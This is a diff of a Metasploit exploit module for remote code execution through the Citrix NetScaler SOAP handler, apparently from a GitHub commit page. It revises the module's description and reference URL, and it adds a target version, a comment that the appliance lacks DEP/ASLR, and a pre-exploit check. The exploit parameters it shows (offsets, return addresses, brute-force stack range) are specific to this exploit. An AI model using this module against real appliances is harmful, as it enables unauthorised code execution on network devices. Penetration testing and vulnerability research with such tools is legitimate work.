@@ -14,10 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => "Citrix NetScaler Buffer Overflow " ,
17
+ 'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution " ,
18
18
'Description' => %q{
19
- This module exploits a buffer overflow vulnerability found in Citrix NetScaler...
20
- The vulnerability exists.... This module has been tested successfully on....
19
+ This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
20
+ The vulnerability exists in the SOAP handler, accessible through the web interface. A
21
+ malicious SOAP requests can force the handler to connect to a malicious NetScaler config
22
+ server. This malicious config server can send a specially crafted response in order to
23
+ trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
24
+ code with the privileges of the web server running the SOAP handler. This module has been
25
+ tested successfully on the NetScaler Virtual Appliance 450010.
21
26
} ,
22
27
'License' => MSF_LICENSE ,
23
28
'Author' =>
@@ -27,7 +32,7 @@ def initialize(info={})
27
32
] ,
28
33
'References' =>
29
34
[
30
- [ 'URL' , 'http://http:// console-cowboys.blogspot.com/2014/09/scaling-netscaler.html' ]
35
+ [ 'URL' , 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html' ]
31
36
] ,
32
37
'Payload' =>
33
38
{
@@ -40,11 +45,14 @@ def initialize(info={})
40
45
'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
41
46
'Targets' =>
42
47
[
43
- [ 'NetScaler Virtual Appliance' ,
48
+ [ 'NetScaler Virtual Appliance 450010 ' ,
44
49
{
45
50
'RwPtr' => 0x80b9000 , # apache2 rw address / Since this target is a virtual appliance, has sense.
46
51
'Offset' => 606 ,
47
52
'Ret' => 0xffffda94 , # Try before bruteforce...
53
+ # The virtual appliance lacks of security mitigations like DEP/ASLR, since the
54
+ # process being exploited is an apache child, the bruteforce attack works fine
55
+ # here.
48
56
'Bruteforce' =>
49
57
{
50
58
'Start' => { 'Ret' => 0xffffec00 } , # bottom of the stack
@@ -84,6 +92,10 @@ def exploit
84
92
fail_with ( Failure ::BadConfig , 'Don\'t use 0.0.0.0 as SRVHOST, use an address on the local machine reachable by the target' )
85
93
end
86
94
95
+ if check != Exploit ::CheckCode ::Detected
96
+ fail_with ( Failure ::NoTarget , "#{ peer } - SOAP endpoint not found" )
97
+ end
98
+
87
99
start_service
88
100
89
101
if target . ret
0 commit comments